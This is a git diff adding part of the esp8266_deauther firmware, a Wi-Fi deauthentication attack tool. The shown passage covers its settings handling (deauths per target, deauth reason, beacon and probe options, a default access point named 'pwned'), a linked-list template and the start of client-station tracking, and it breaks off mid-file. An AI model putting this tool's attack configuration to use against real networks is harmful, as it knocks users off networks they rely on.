b/enp8266/esp8266_deauther-master/esp8266_deauther/Settings.cpp @@ -0,0 +1,614 @@ +#include "Settings.h" + +Settings::Settings() { + macSt = (uint8_t*)malloc(6); + macAP = (uint8_t*)malloc(6); +} + +void Settings::load() { + DynamicJsonBuffer jsonBuffer(4000); + + // check & read file + String json = getJsonStr(); + + checkFile(FILE_PATH, json); + JsonObject& data = parseJSONFile(FILE_PATH, jsonBuffer); + + // VERSION + version = data.get("version"); + + // AP + if (data.containsKey(keyword(S_SSID))) setSSID(data.get(keyword(S_SSID))); + if (data.containsKey(keyword(S_PASSWORD))) setPassword(data.get(keyword(S_PASSWORD))); + if (data.containsKey(keyword(S_CHANNEL))) setChannel(data.get(keyword(S_CHANNEL))); + if (data.containsKey(keyword(S_HIDDEN))) setHidden(data.get(keyword(S_HIDDEN))); + if (data.containsKey(keyword(S_CAPTIVEPORTAL))) setCaptivePortal(data.get(keyword(S_CAPTIVEPORTAL))); + + // GENERAL + if (data.containsKey(keyword(S_LANG))) setLang(data.get(keyword(S_LANG))); + if (data.containsKey(keyword(S_DISPLAYINTERFACE))) setDisplayInterface(data.get(keyword(S_DISPLAYINTERFACE))); + if (data.containsKey(keyword(S_DISPLAY_TIMEOUT))) setDisplayTimeout(data.get(keyword(S_DISPLAY_TIMEOUT))); + if (data.containsKey(keyword(S_SERIALINTERFACE))) setCLI(data.get(keyword(S_SERIALINTERFACE))); + if (data.containsKey(keyword(S_SERIAL_ECHO))) setSerialEcho(data.get(keyword(S_SERIAL_ECHO))); + if (data.containsKey(keyword(S_WEBINTERFACE))) setWebInterface(data.get(keyword(S_WEBINTERFACE))); + if (data.containsKey(keyword(S_WEB_SPIFFS))) setWebSpiffs(data.get(keyword(S_WEB_SPIFFS))); + if (data.containsKey(keyword(S_LEDENABLED))) setLedEnabled(data.get(keyword(S_LEDENABLED))); + if (data.containsKey(keyword(S_MACAP))) setMacAP(data.get(keyword(S_MACAP))); + if (data.containsKey(keyword(S_MACST))) setMacSt(data.get(keyword(S_MACST))); + + // SCAN + if (data.containsKey(keyword(S_CHTIME))) setChTime(data.get(keyword(S_CHTIME))); + if (data.containsKey(keyword(S_MIN_DEAUTHS))) setMinDeauths(data.get(keyword(S_MIN_DEAUTHS))); + + // ATTACK + if (data.containsKey(keyword(S_ATTACKTIMEOUT))) setAttackTimeout(data.get(keyword(S_ATTACKTIMEOUT))); + if (data.containsKey(keyword(S_FORCEPACKETS))) setForcePackets(data.get(keyword(S_FORCEPACKETS))); + if (data.containsKey(keyword(S_DEAUTHSPERTARGET))) setDeauthsPerTarget(data.get(keyword( + S_DEAUTHSPERTARGET))); + + if (data.containsKey(keyword(S_DEAUTHREASON))) setDeauthReason(data.get(keyword(S_DEAUTHREASON))); + if (data.containsKey(keyword(S_BEACONCHANNEL))) setBeaconChannel(data.get(keyword(S_BEACONCHANNEL))); + if (data.containsKey(keyword(S_BEACONINTERVAL))) setBeaconInterval(data.get(keyword(S_BEACONINTERVAL))); + if (data.containsKey(keyword(S_RANDOMTX))) setRandomTX(data.get(keyword(S_RANDOMTX))); + if (data.containsKey(keyword(S_PROBESPERSSID))) setProbesPerSSID(data.get(keyword(S_PROBESPERSSID))); + + if (version != VERSION) { + // reset(); + copyWebFiles(true); + version = VERSION; + changed = true; + } + + prnt(S_SETTINGS_LOADED); + prntln(FILE_PATH); + + // check and fix mac + if (!macValid(macSt)) getRandomMac(macSt); + + if (!macValid(macAP)) getRandomMac(macAP); + + save(true); // force saving +} + +void Settings::load(String filepath) { + String tmp = FILE_PATH; + + FILE_PATH = filepath; + load(); + FILE_PATH = tmp; +} + +void Settings::reset() { + // VERSION + version = VERSION; + + // AP + setSSID("pwned"); + setPassword("deauther"); + setChannel(9); + setHidden(false); + setCaptivePortal(true); + + // GENERAL + setLang("en"); + setAutosave(true); + setAutosaveTime(10000); + setDisplayInterface(USE_DISPLAY); + setDisplayTimeout(600); + setCLI(true); + setSerialEcho(true); + setWebInterface(true); + setWebSpiffs(false); + setLedEnabled(true); + wifi_get_macaddr(STATION_IF, macSt); + wifi_get_macaddr(SOFTAP_IF, macAP); + + // SCAN + setChTime(384); + setMinDeauths(3); + + // ATTACK + setAttackTimeout(600); + setForcePackets(3); + setDeauthsPerTarget(20); + setDeauthReason(1); + setBeaconChannel(false); + setBeaconInterval(false); + setRandomTX(false); + setProbesPerSSID(1); + + prntln(S_SETTINGS_RESETED); +} + +String Settings::getJsonStr() { + DynamicJsonBuffer jsonBuffer(4000); + JsonObject& data = jsonBuffer.createObject(); + + // Version + data.set("version", VERSION); + + // AP + data.set(keyword(S_SSID), ssid); + data.set(keyword(S_PASSWORD), password); + data.set(keyword(S_CHANNEL), channel); + data.set(keyword(S_HIDDEN), hidden); + data.set(keyword(S_CAPTIVEPORTAL), captivePortal); + + // GENERAL + data.set(keyword(S_LANG), lang); + data.set(keyword(S_AUTOSAVE), autosave); + data.set(keyword(S_AUTOSAVETIME), autosaveTime); + data.set(keyword(S_DISPLAYINTERFACE), displayInterface); + data.set(keyword(S_DISPLAY_TIMEOUT), displayTimeout); + data.set(keyword(S_SERIALINTERFACE), cli); + data.set(keyword(S_SERIAL_ECHO), serialEcho); + data.set(keyword(S_WEBINTERFACE), webInterface); + data.set(keyword(S_WEB_SPIFFS), webSpiffs); + data.set(keyword(S_LEDENABLED), ledEnabled); + data.set(keyword(S_MACAP), macToStr(getMacAP())); + data.set(keyword(S_MACST), macToStr(getMacSt())); + + // SCAN + data.set(keyword(S_CHTIME), chTime); + data.set(keyword(S_MIN_DEAUTHS), minDeauths); + + // ATTACK + data.set(keyword(S_ATTACKTIMEOUT), attackTimeout); + data.set(keyword(S_FORCEPACKETS), forcePackets); + data.set(keyword(S_DEAUTHSPERTARGET), deauthsPerTarget); + data.set(keyword(S_DEAUTHREASON), deauthReason); + data.set(keyword(S_BEACONCHANNEL), beaconChannel); + data.set(keyword(S_BEACONINTERVAL), beaconInterval); + data.set(keyword(S_RANDOMTX), randomTX); + data.set(keyword(S_PROBESPERSSID), probesPerSSID); + + String buf; + data.printTo(buf); + + return buf; +} + +void Settings::save(bool force) { + if (force || changed) { + String buf = getJsonStr(); + + if (writeFile(FILE_PATH, buf)) { + prnt(S_SETTINGS_SAVED); + prntln(FILE_PATH); + changed = false; + } else { + prnt(F("ERROR: saving ")); + prntln(FILE_PATH); + } + } +} + +void Settings::save(bool force, String filepath) { + String tmp = FILE_PATH; + + FILE_PATH = filepath; + save(force); + FILE_PATH = tmp; +} + +void Settings::print() { + String settingsJson = getJsonStr(); + + settingsJson.replace("{", "{\r\n"); + settingsJson.replace("}", "\r\n}"); + settingsJson.replace(",", "\r\n"); + prntln(S_SETTINGS_HEADER); + prntln(settingsJson); +} + +void Settings::set(const char* str, String value) { + // booleans + if (eqls(str, S_BEACONCHANNEL)) setBeaconChannel(s2b(value)); + else if (eqls(str, S_AUTOSAVE)) setAutosave(s2b(value)); + else if (eqls(str, S_BEACONINTERVAL)) setBeaconInterval(s2b(value)); + else if (eqls(str, S_SERIALINTERFACE)) setCLI(s2b(value)); + else if (eqls(str, S_DISPLAYINTERFACE)) setDisplayInterface(s2b(value)); + else if (eqls(str, S_WEBINTERFACE)) setWebInterface(s2b(value)); + else if (eqls(str, S_RANDOMTX)) setRandomTX(s2b(value)); + else if (eqls(str, S_LEDENABLED)) setLedEnabled(s2b(value)); + else if (eqls(str, S_HIDDEN)) setHidden(s2b(value)); + else if (eqls(str, S_CAPTIVEPORTAL)) setCaptivePortal(s2b(value)); + else if (eqls(str, S_SERIAL_ECHO)) setSerialEcho(s2b(value)); + else if (eqls(str, S_WEB_SPIFFS)) setWebSpiffs(s2b(value)); + + // integer + else if (eqls(str, S_FORCEPACKETS)) setForcePackets(value.toInt()); + else if (eqls(str, S_AUTOSAVETIME)) setAutosaveTime(value.toInt()); + else if (eqls(str, S_DEAUTHSPERTARGET)) setDeauthsPerTarget(value.toInt()); + else if (eqls(str, S_CHTIME)) setChTime(value.toInt()); + else if (eqls(str, S_CHANNEL)) setChannel(value.toInt()); + else if (eqls(str, S_DEAUTHREASON)) setDeauthReason(value.toInt()); + else if (eqls(str, S_ATTACKTIMEOUT)) setAttackTimeout(value.toInt()); + else if (eqls(str, S_PROBESPERSSID)) setProbesPerSSID(value.toInt()); + else if (eqls(str, S_MIN_DEAUTHS)) setMinDeauths(value.toInt()); + else if (eqls(str, S_DISPLAY_TIMEOUT)) setDisplayTimeout(value.toInt()); + + // strings + else if (eqls(str, S_LANG)) setLang(value); + else if (eqls(str, S_SSID)) setSSID(value); + else if (eqls(str, S_PASSWORD)) setPassword(value); + else if (eqls(str, S_MACAP)) setMacAP(value); + else if (eqls(str, S_MACST)) setMacSt(value); + else if (eqls(str, S_MAC) && value.equalsIgnoreCase("random")) { + setMacSt(value); + setMacAP(value); + } + + else if (eqls(str, S_VERSION)) prntln(S_ERROR_VERSION); + + else { + prnt(S_ERROR_NOT_FOUND); + prntln(str); + return; + } + + prnt(S_CHANGED_SETTING); + prntln(str); +} + +String Settings::get(const char* str) { + if (eqls(str, S_SETTINGS)) print(); + // booleans + else if (eqls(str, S_BEACONCHANNEL)) return b2s(beaconChannel); + else if (eqls(str, S_AUTOSAVE)) return b2s(autosave); + else if (eqls(str, S_BEACONINTERVAL)) return b2s(beaconInterval); + else if (eqls(str, S_SERIALINTERFACE)) return b2s(cli); + else if (eqls(str, S_DISPLAYINTERFACE)) return b2s(displayInterface); + else if (eqls(str, S_WEBINTERFACE)) return b2s(webInterface); + else if (eqls(str, S_RANDOMTX)) return b2s(randomTX); + else if (eqls(str, S_LEDENABLED)) return b2s(ledEnabled); + else if (eqls(str, S_HIDDEN)) return b2s(hidden); + else if (eqls(str, S_CAPTIVEPORTAL)) return b2s(captivePortal); + else if (eqls(str, S_SERIAL_ECHO)) return b2s(serialEcho); + else if (eqls(str, S_WEB_SPIFFS)) return b2s(webSpiffs); + + // integer + else if (eqls(str, S_FORCEPACKETS)) return (String)forcePackets; + else if (eqls(str, S_AUTOSAVETIME)) return (String)autosaveTime; + else if (eqls(str, S_DEAUTHSPERTARGET)) return (String)deauthsPerTarget; + else if (eqls(str, S_CHTIME)) return (String)chTime; + else if (eqls(str, S_ATTACKTIMEOUT)) return (String)attackTimeout; + else if (eqls(str, S_CHANNEL)) return (String)channel; + else if (eqls(str, S_DEAUTHREASON)) return (String)deauthReason; + else if (eqls(str, S_PROBESPERSSID)) return (String)probesPerSSID; + else if (eqls(str, S_MIN_DEAUTHS)) return (String)minDeauths; + else if (eqls(str, S_DISPLAY_TIMEOUT)) return (String)displayTimeout; + + // strings + else if (eqls(str, S_SSID)) return ssid; + else if (eqls(str, S_LANG)) return lang; + else if (eqls(str, S_PASSWORD)) return password; + else if (eqls(str, S_MACAP)) return macToStr(getMacAP()); + else if (eqls(str, S_MACST)) return macToStr(getMacSt()); + else if (eqls(str, S_MAC)) return "AP: " + macToStr(macAP) + ", Station: " + macToStr(macSt); + else if (eqls(str, S_VERSION)) return version; + + else { + prnt(S_ERROR_NOT_FOUND); + prntln(str); + } + + return ""; +} + +// ===== GETTERS ===== // +String Settings::getVersion() { + return version; +} + +uint16_t Settings::getDeauthsPerTarget() { + return deauthsPerTarget; +} + +uint8_t Settings::getDeauthReason() { + return deauthReason; +} + +bool Settings::getBeaconChannel() { + return beaconChannel; +} + +uint8_t Settings::getForcePackets() { + return forcePackets; +} + +bool Settings::getAutosave() { + return autosave; +} + +uint32_t Settings::getAutosaveTime() { + return autosaveTime; +} + +bool Settings::getBeaconInterval() { + return beaconInterval; +} + +uint8_t Settings::getChannel() { + return channel; +} + +String Settings::getSSID() { + return ssid; +} + +String Settings::getPassword() { + return password; +} + +bool Settings::getCLI() { + return cli; +} + +bool Settings::getDisplayInterface() { + return displayInterface; +} + +bool Settings::getWebInterface() { + return webInterface; +} + +uint16_t Settings::getChTime() { + return chTime; +} + +uint8_t* Settings::getMacSt() { + return macSt; +} + +uint8_t* Settings::getMacAP() { + return macAP; +} + +bool Settings::getRandomTX() { + return randomTX; +} + +uint32_t Settings::getAttackTimeout() { + return attackTimeout; +} + +bool Settings::getLedEnabled() { + return ledEnabled; +} + +uint8_t Settings::getProbesPerSSID() { + return probesPerSSID; +} + +bool Settings::getHidden() { + return hidden; +} + +bool Settings::getCaptivePortal() { + return captivePortal; +} + +uint16_t Settings::getMinDeauths() { + return minDeauths; +} + +uint32_t Settings::getDisplayTimeout() { + return displayTimeout; +} + +String Settings::getLang() { + return lang; +} + +bool Settings::getSerialEcho() { + return serialEcho; +} + +bool Settings::getWebSpiffs() { + return webSpiffs; +} + +// ===== SETTERS ===== // + +void Settings::setDeauthsPerTarget(uint16_t deauthsPerTarget) { + Settings::deauthsPerTarget = deauthsPerTarget; + + changed = true; +} + +void Settings::setDeauthReason(uint8_t deauthReason) { + Settings::deauthReason = deauthReason; + + changed = true; +} + +void Settings::setBeaconChannel(bool beaconChannel) { + Settings::beaconChannel = beaconChannel; + + changed = true; +} + +void Settings::setForcePackets(uint8_t forcePackets) { + if (forcePackets > 0) { + Settings::forcePackets = forcePackets; + changed = true; + } +} + +void Settings::setAutosave(bool autosave) { + Settings::autosave = autosave; + + changed = true; +} + +void Settings::setAutosaveTime(uint32_t autosaveTime) { + Settings::autosaveTime = autosaveTime; + + changed = true; +} + +void Settings::setBeaconInterval(bool beaconInterval) { + Settings::beaconInterval = beaconInterval; + + changed = true; +} + +void Settings::setChannel(uint8_t channel) { + if ((channel >= 1) && (channel <= 14)) { + Settings::channel = channel; + setWifiChannel(channel); + changed = true; + prnt(S_CHANNEL_CHANGE); + prntln(channel); + } else { + prntln(S_CHANNEL_ERROR); + } +} + +void Settings::setSSID(String ssid) { + if ((ssid.length() > 0) && (ssid.length() <= 32)) { + ssid = fixUtf8(ssid); + Settings::ssid = ssid; + changed = true; + } else { + prntln(S_ERROR_SSID_LEN); + } +} + +void Settings::setPassword(String password) { + if ((password.length() >= 8) && (password.length() <= 32)) { + password = fixUtf8(password); + Settings::password = password; + changed = true; + } else { + prntln(S_ERROR_PASSWORD_LEN); + } +} + +void Settings::setCLI(bool cli) { + Settings::cli = cli; + + changed = true; +} + +void Settings::setDisplayInterface(bool displayInterface) { + Settings::displayInterface = displayInterface; + + changed = true; +} + +void Settings::setWebInterface(bool webInterface) { + Settings::webInterface = webInterface; + + changed = true; +} + +void Settings::setChTime(uint16_t chTime) { + Settings::chTime = chTime; + + changed = true; +} + +void Settings::setMacSt(String macStr) { + uint8_t mac[6]; + + if (eqls(macStr, S_RANDOM)) getRandomMac(mac); + else strToMac(macStr, mac); + + setMacSt(mac); +} + +bool Settings::setMacSt(uint8_t* macSt) { + if (macSt[0] % 2 == 0) { + memcpy(Settings::macSt, macSt, 6); + changed = true; + return true; + } + return false; +} + +void Settings::setMacAP(String macStr) { + uint8_t mac[6]; + + if (eqls(macStr, S_RANDOM)) getRandomMac(mac); + else strToMac(macStr, mac); + + setMacAP(mac); +} + +bool Settings::setMacAP(uint8_t* macAP) { + if (macAP[0] % 2 == 0) { + memcpy(Settings::macAP, macAP, 6); + changed = true; + return true; + } + return false; +} + +void Settings::setRandomTX(bool randomTX) { + Settings::randomTX = randomTX; + + changed = true; +} + +void Settings::setAttackTimeout(uint32_t attackTimeout) { + Settings::attackTimeout = attackTimeout; + + changed = true; +} + +void Settings::setLedEnabled(bool ledEnabled) { + Settings::ledEnabled = ledEnabled; + + changed = true; +} + +void Settings::setProbesPerSSID(uint8_t probesPerSSID) { + if (probesPerSSID > 0) { + Settings::probesPerSSID = probesPerSSID; + changed = true; + } +} + +void Settings::setHidden(bool hidden) { + Settings::hidden = hidden; + + changed = true; +} + +void Settings::setCaptivePortal(bool captivePortal) { + Settings::captivePortal = captivePortal; + + changed = true; +} + +void Settings::setMinDeauths(uint16_t minDeauths) { + Settings::minDeauths = minDeauths; + + changed = true; +} + +void Settings::setDisplayTimeout(uint32_t displayTimeout) { + Settings::displayTimeout = displayTimeout; + + changed = true; +} + +void Settings::setLang(String lang) { + Settings::lang = lang; + + changed = true; +} + +void Settings::setSerialEcho(bool serialEcho) { + Settings::serialEcho = serialEcho; + + changed = true; +} + +void Settings::setWebSpiffs(bool webSpiffs) { + Settings::webSpiffs = webSpiffs; + + changed = true; +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Settings.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Settings.h new file mode 100755 index 0000000..20340a9 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Settings.h @@ -0,0 +1,139 @@ +#ifndef Settings_h +#define Settings_h + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "ArduinoJson.h" +#include "language.h" +#include "A_config.h" + +#define VERSION "v2.1.0" + +extern void checkFile(String path, String data); +extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer); +extern bool writeFile(String path, String& buf); +extern void saveJSONFile(String path, JsonObject& root); +extern String macToStr(uint8_t* mac); +extern void getRandomMac(uint8_t* mac); +extern bool strToMac(String macStr, uint8_t* mac); +extern void setWifiChannel(uint8_t ch); +extern String fixUtf8(String str); +extern void copyWebFiles(bool force); +extern bool macValid(uint8_t* mac); + +class Settings { + public: + Settings(); + void load(); + void load(String filepath); + void save(bool force); + void save(bool force, String filepath); + void reset(); + void print(); + + void set(const char* str, String value); + String get(const char* str); + + String getVersion(); + uint16_t getDeauthsPerTarget(); + uint8_t getDeauthReason(); + bool getBeaconChannel(); + uint8_t getForcePackets(); + bool getAutosave(); + uint32_t getAutosaveTime(); + bool getBeaconInterval(); + uint8_t getChannel(); + String getSSID(); + String getPassword(); + bool getCLI(); + bool getDisplayInterface(); + bool getWebInterface(); + uint16_t getChTime(); + uint8_t* getMacSt(); + uint8_t* getMacAP(); + bool getRandomTX(); + uint32_t getAttackTimeout(); + bool getLedEnabled(); + uint8_t getProbesPerSSID(); + bool getHidden(); + bool getCaptivePortal(); + uint16_t getMinDeauths(); + uint32_t getDisplayTimeout(); + String getLang(); + bool getSerialEcho(); + bool getWebSpiffs(); + + void setDeauthsPerTarget(uint16_t deauthsPerTarget); + void setDeauthReason(uint8_t deauthReason); + void setBeaconChannel(bool beaconChannel); + void setForcePackets(uint8_t forcePackets); + void setAutosave(bool autosave); + void setAutosaveTime(uint32_t autosaveTime); + void setBeaconInterval(bool beaconInterval); + void setChannel(uint8_t channel); + void setSSID(String ssid); + void setPassword(String password); + void setCLI(bool cli); + void setDisplayInterface(bool displayInterface); + void setWebInterface(bool webInterface); + void setChTime(uint16_t chTime); + void setMacSt(String macStr); + bool setMacSt(uint8_t* macSt); + void setMacAP(String macStr); + bool setMacAP(uint8_t* macAP); + void setRandomTX(bool randomTX); + void setAttackTimeout(uint32_t attackTimeout); + void setLedEnabled(bool ledEnabled); + void setProbesPerSSID(uint8_t probesPerSSID); + void setHidden(bool hidden); + void setCaptivePortal(bool captivePortal); + void setMinDeauths(uint16_t minDeauths); + void setDisplayTimeout(uint32_t displayTimeout); + void setLang(String lang); + void setSerialEcho(bool serialEcho); + void setWebSpiffs(bool webSpiffs); + + private: + bool changed = false; + + String version = VERSION; + + bool beaconChannel = false; + bool autosave = true; + bool beaconInterval = false; + bool cli = true; + bool displayInterface = USE_DISPLAY; + bool webInterface = true; + bool webSpiffs = false; + bool randomTX = false; + bool ledEnabled = true; + bool serialEcho = true; + + uint32_t attackTimeout = 600; + uint32_t autosaveTime = 10000; + uint32_t displayTimeout = 600; + uint16_t deauthsPerTarget = 20; + uint16_t chTime = 384; + uint16_t minDeauths = 3; + uint8_t forcePackets = 1; + uint8_t channel = 9; + uint8_t deauthReason = 1; + uint8_t* macSt; + uint8_t* macAP; + uint8_t probesPerSSID = 1; + + String ssid = "pwned"; + String password = "deauther"; + bool hidden = false; + bool captivePortal = true; + String lang = "en"; + + String FILE_PATH = "/settings.json"; + + String getJsonStr(); +}; + +#endif // ifndef Settings_h diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/SimpleList.h b/enp8266/esp8266_deauther-master/esp8266_deauther/SimpleList.h new file mode 100755 index 0000000..a298858 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/SimpleList.h @@ -0,0 +1,521 @@ +#ifndef SimpleList_h +#define SimpleList_h + +/* + =========================================== + Copyright (c) 2018 Stefan Kremser + github.com/spacehuhn + =========================================== + */ + +#include +#include +#include + +template +struct SimpleListNode { + T data; + SimpleListNode* next = NULL; +}; + +template +class SimpleList { + public: + SimpleList(); + SimpleList(int(*compare)(T & a, T & b)); + virtual ~SimpleList(); + + virtual void setCompare(int (* compare)(T& a, T& b)); + + virtual int size(); + virtual bool isSorted(); + virtual bool isEmpty(); + + virtual void add(int index, T obj); + virtual void add(T obj); + virtual void insert(T obj); + + virtual void replace(int index, T obj); + virtual void swap(int x, int y); + + virtual void remove(int index); + virtual void removeFirst(); + virtual void removeLast(); + + virtual bool has(T obj); + virtual int count(T obj); + + virtual T shift(); + virtual T pop(); + virtual T get(int index); + virtual T getFirst(); + virtual T getLast(); + + virtual void moveToEnd(); + + virtual int search(T obj); + virtual int searchNext(T obj); + virtual int binSearch(T obj); + + virtual void sort(); + virtual void clear(); + + protected: + int (* compare)(T& a, T& b) = NULL; + + int listSize = 0; + SimpleListNode* listBegin = NULL; + SimpleListNode* listEnd = NULL; + + // Helps get() method by saving last position + SimpleListNode* lastNodeGot = NULL; + int lastIndexGot = -1; + bool isCached = false; + + bool sorted = true; + + virtual SimpleListNode* getNode(int index); + virtual int binSearch(T obj, int lowerEnd, int upperEnd); +}; + +template +SimpleList::SimpleList() {} + +template +SimpleList::SimpleList(int(*compare)(T & a, T & b)) { + setCompare(compare); +} + +// Clear Nodes and free Memory +template +SimpleList::~SimpleList() { + clear(); +} + +template +void SimpleList::setCompare(int (* compare)(T& a, T& b)) { + this->compare = compare; + sort(); +} + +template +SimpleListNode* SimpleList::getNode(int index) { + if ((index < 0) || (index >= listSize)) return NULL; + + SimpleListNode* hNode = listBegin; + int c = 0; + + if (isCached && (index >= lastIndexGot)) { + c = lastIndexGot; + hNode = lastNodeGot; + } + + while (hNode && c < index) { + hNode = hNode->next; + c++; + } + + if (hNode) { + isCached = true; + lastIndexGot = c; + lastNodeGot = hNode; + } + + return hNode; +} + +template +int SimpleList::size() { + return listSize; +} + +template +bool SimpleList::isSorted() { + return sorted; +} + +template +bool SimpleList::isEmpty() { + return listSize == 0; +} + +template +void SimpleList::add(T obj) { + // create new node + SimpleListNode* newNode = new SimpleListNode(); + + newNode->data = obj; + + if (!listBegin) listBegin = newNode; + + if (listEnd) { + listEnd->next = newNode; + listEnd = newNode; + } else { + listEnd = newNode; + } + + listSize++; + sorted = false; +} + +template +void SimpleList::add(int index, T obj) { + if ((index < 0) || (index >= listSize)) { + return; + } + + SimpleListNode* newNode = new SimpleListNode(); + newNode->data = obj; + + if (index == 0) { + listBegin = newNode; + } else { + SimpleListNode* nodePrev = getNode(index - 1); + newNode->next = nodePrev->next; + nodePrev->next = newNode; + } + + listSize++; + sorted = false; +} + +template +void SimpleList::insert(T obj) { + if (!compare) { + add(obj); + return; + } + + if (!sorted) sort(); + + // create new node + SimpleListNode* newNode = new SimpleListNode(); + newNode->data = obj; + + if (listSize == 0) { + // add at start (first node) + listBegin = newNode; + + listEnd = newNode; + } else { + if (compare(obj, listEnd->data) >= 0) { + // add at end + listEnd->next = newNode; + listEnd = newNode; + } else if (compare(obj, listBegin->data) < 0) { + // add at start + newNode->next = listBegin; + listBegin = newNode; + } else { + // insertion sort + SimpleListNode* h = listBegin; + SimpleListNode* p = NULL; + bool found = false; + + // here a sequential search, because otherwise the previous node couldn't be accessed + while (h && !found) { + if (compare(obj, h->data) < 0) { + found = true; + } else { + p = h; + h = h->next; + } + } + newNode->next = h; + + if (p) p->next = newNode; + } + } + + listSize++; +} + +template +void SimpleList::replace(int index, T obj) { + if ((index >= 0) && (index < listSize)) { + getNode(index)->data = obj; + } +} + +template +void SimpleList::swap(int x, int y) { + // only continue when the index numbers are unequal and at least 0 + if ((x != y) && (x >= 0) && (y >= 0)) { + if (x > y) { // the first index should be smaller than the second. If not, swap them! + int h = x; + x = y; + y = h; + } + + // When data is small, copy it + if (sizeof(T) < 24) { + SimpleListNode* nodeA = getNode(x); + SimpleListNode* nodeB = getNode(y); + T h = nodeA->data; + nodeA->data = nodeB->data; + nodeB->data = h; + } + + // otherwise change the pointers + else { + // Example: a -> b -> c -> ... -> g -> h -> i + // we want to swap b with h + SimpleListNode* nodeA = getNode(x - 1); // x.prev + SimpleListNode* nodeB = getNode(x); // x + SimpleListNode* nodeC = getNode(x + 1); // x.next + SimpleListNode* nodeG = y - 1 == x ? nodeB : getNode(y - 1); // y.prev + SimpleListNode* nodeH = getNode(y); // y + SimpleListNode* nodeI = getNode(y + 1); // y.next + + // a -> h -> i b -> c -> ... -> g -> h -> i + if (nodeA) nodeA->next = nodeH; + else listBegin = nodeH; + + // a -> h -> c -> ... -> g -> h -> i b -> i + if (nodeH != nodeC) // when nodes between b and h exist + nodeH->next = nodeC; + else nodeH->next = nodeB; + + // a -> h -> i b -> i + nodeB->next = nodeI; + + if (!nodeI) listEnd = nodeB; + + // a -> h -> c -> ... -> g -> b -> i + if (nodeG != nodeB) // when more than 1 nodes between b and h exist + nodeG->next = nodeB; + } + } +} + +template +void SimpleList::remove(int index) { + if ((index < 0) || (index >= listSize)) return; + + SimpleListNode* nodePrev = getNode(index - 1); + SimpleListNode* nodeToDelete = getNode(index); + + if (index == 0) { + listBegin = nodeToDelete->next; + } else { + nodePrev->next = nodeToDelete->next; + + if (!nodePrev->next) listEnd = nodePrev; + } + + delete nodeToDelete; + + isCached = false; + + listSize--; +} + +template +void SimpleList::removeFirst() { + remove(0); +} + +template +void SimpleList::removeLast() { + remove(listSize - 1); +} + +template +bool SimpleList::has(T obj) { + return binSearch(obj) >= 0; +} + +template +int SimpleList::count(T obj) { + if (compare == NULL) return -1; + + int c = 0; + + for (int i = 0; i < listSize; i++) { + if (compare(obj, getNode(i)->data) == 0) c++; + } + + return c; +} + +template +T SimpleList::get(int index) { + SimpleListNode* h = getNode(index); + + if (h) return h->data; + + return T(); +} + +template +T SimpleList::getFirst() { + return get(0); +} + +template +T SimpleList::getLast() { + return get(listSize - 1); +} + +template +void SimpleList::moveToEnd() { + SimpleListNode* h = listBegin; + + if (!h) return; + + listBegin = listBegin->next; + listEnd->next = h; + + h->next = NULL; + listEnd = h; + + lastNodeGot = NULL; + lastIndexGot = -1; + isCached = false; + + sorted = false; +} + +template +int SimpleList::search(T obj) { + if (compare == NULL) return -1; + + int i = 0; + + SimpleListNode* hNode = getNode(i); + bool found = compare(obj, hNode->data) == 0; + + while (!found && i < listSize) { + i++; + hNode = getNode(i); + found = compare(obj, hNode->data) == 0; + } + + return found ? i : -1; +} + +template +int SimpleList::searchNext(T obj) { + if (compare == NULL) return -1; + + int i = lastIndexGot; + + SimpleListNode* hNode = lastNodeGot; + bool found = compare(obj, hNode->data) == 0; + + while (!found && i < listSize) { + i++; + hNode = getNode(i); + found = compare(obj, hNode->data) == 0; + } + + return found ? i : -1; +} + +template +int SimpleList::binSearch(T obj, int lowerEnd, int upperEnd) { + if (!compare || !sorted) return search(obj); + + if (!listBegin) return -1; + + int res; + int mid = (lowerEnd + upperEnd) / 2; + + SimpleListNode* hNode = getNode(0); + int hIndex = 0; + + while (lowerEnd <= upperEnd) { + hNode = lastNodeGot; + hIndex = lastIndexGot; + res = compare(obj, getNode(mid)->data); + + if (res == 0) { + return mid; + } else if (res < 0) { + // when going left, set cached node back to previous cached node + lastNodeGot = hNode; + lastIndexGot = hIndex; + isCached = true; + + upperEnd = mid - 1; + mid = (lowerEnd + upperEnd) / 2; + } else if (res > 0) { + lowerEnd = mid + 1; + mid = (lowerEnd + upperEnd) / 2; + } + } + + return -1; +} + +template +int SimpleList::binSearch(T obj) { + return binSearch(obj, 0, listSize - 1); +} + +template +T SimpleList::pop() { + T data = getLast(); + + removeLast(); + + return data; +} + +template +T SimpleList::shift() { + T data = getFirst(); + + removeFirst(); + + return data; +} + +template +void SimpleList::clear() { + while (listSize > 0) removeFirst(); + + listSize = 0; + listBegin = NULL; + listEnd = NULL; + + lastNodeGot = NULL; + lastIndexGot = -1; + isCached = false; + + sorted = true; +} + +template +void SimpleList::sort() { + if (compare == NULL) return; + + // selection sort (less swaps than insertion sort) + + int indexH; // index of node i + int indexMin; // index of next minimum node + + SimpleListNode* nodeMin; // next minimum node + SimpleListNode* nodeH; // helper node at index j + + for (int i = 0; i < listSize - 1; i++) { + nodeMin = getNode(i); + indexH = i; + indexMin = i; + + for (int j = i + 1; j < listSize; j++) { + nodeH = getNode(j); + + if (compare(nodeMin->data, nodeH->data) > 0) { + nodeMin = nodeH; + indexMin = j; + } + } + swap(indexH, indexMin); + } + + this->sorted = true; +} + +#endif // ifndef SimpleList_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Stations.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Stations.cpp new file mode 100755 index 0000000..aad6c45 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Stations.cpp @@ -0,0 +1,367 @@ +#include "Stations.h" + +Stations::Stations() { + list = new SimpleList(); +} + +void Stations::add(uint8_t* mac, int accesspointNum) { + int stationNum = findStation(mac); + + if (stationNum < 0) { + internal_add(mac, accesspointNum); + // print(list->size() - 1, list->size() == 1, false); + } else { + *getPkts(stationNum) += 1; + *getTime(stationNum) = currentTime; + } + changed = true; +} + +int Stations::findStation(uint8_t* mac) { + int c = count(); + + for (int i = 0; i < c; i++) { + if (memcmp(getMac(i), mac, 6) == 0) return i; + } + return -1; +} + +void 